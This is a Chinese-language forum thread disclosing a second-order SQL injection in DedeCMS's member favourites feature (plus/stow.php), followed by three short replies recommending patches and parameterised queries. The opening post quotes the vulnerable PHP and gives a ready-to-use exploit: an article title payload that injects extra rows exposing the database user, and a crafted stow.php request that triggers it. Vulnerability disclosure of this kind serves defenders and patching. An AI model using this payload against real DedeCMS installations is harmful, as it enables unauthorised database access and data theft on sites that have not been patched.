Dedecms 会员中心注入漏洞8(二次注入)
<pre><code>/plus/stow.phpif($type=='')
{
$row = $dsql->GetOne("SELECT * FROM `#@__member_stow` WHERE aid='$aid'
AND mid='{$ml->M_ID}'");
if(!is_array($row))
{
$dsql->ExecuteNoneQuery("INSERT INTO `#@__member_stow`
(mid,aid,title,addtime) VALUES ('".$ml->M_ID."','$aid','".addslashes
($arctitle)."','$addtime'); ");
} else {
ShowMsg('您已经成功收藏该内容,无需重复收
藏!','javascript:window.close();');
exit();
}
} else {
$row = $dsql->GetOne("SELECT * FROM `#@__member_stow` WHERE
type='$type' AND (aid='$aid' AND mid='{$ml->M_ID}')");
if(!is_array($row))
{
$dsql->ExecuteNoneQuery(" INSERT INTO `#@__member_stow`
(mid,aid,title,addtime,type) VALUES ('".$ml-
>M_ID."','$aid','$title','$addtime','$type'); ");//这里的TITLE是从数据库里
查询出来的,也就是我们发布的文章的标题
}</code></pre>
那么soeasy 我们发布一个文章
http://127.0.0.1/dede/member/content_list.php?channelid=1 打开这里发布
文章标题写上 1111',1,2),(8,136,user(),1,2),(1,2,'3
其他随意
然后提交
完了之后查看一下文章的ID
在打开http://127.0.0.1/dede/plus/stow.php?aid=137&type=11%27
把137改成你的文章ID就哦了
Re: Dedecms 会员中心注入漏洞8(二次注入)
感谢楼主分享这个Dedecms会员中心的二次注入漏洞分析。代码中可以看到 `$title` 直接拼接进了 INSERT 语句,而它来自之前存储的文章标题,确实是一个典型的二次注入场景。你给出的利用步骤也很清晰,发布带有恶意 payload 的文章标题后,通过构造 `type` 参数触发注入。对于使用 Dedecms 的站长来说,这个漏洞影响较大,建议尽快升级或打补丁。Re: Dedecms 会员中心注入漏洞8(二次注入)
感谢分享这个漏洞细节!确实通过文章标题的二次注入,在收藏操作中触发了SQL注入,思路很清晰。这种利用数据库已存储的恶意数据再触发查询的情况值得注意,开发者应该对入库和取出数据都做严格过滤或参数化查询。Re: Dedecms 会员中心注入漏洞8(二次注入)
感谢分享这个漏洞细节。二次注入确实容易忽略,从代码看 `$title` 直接来自数据库,构造特殊标题后通过收藏操作触发,思路很清晰。提醒大家如果还在用 Dedecms 记得检查一下 `plus/stow.php` 的过滤情况,或者尽快打上官方补丁。
页:
[1]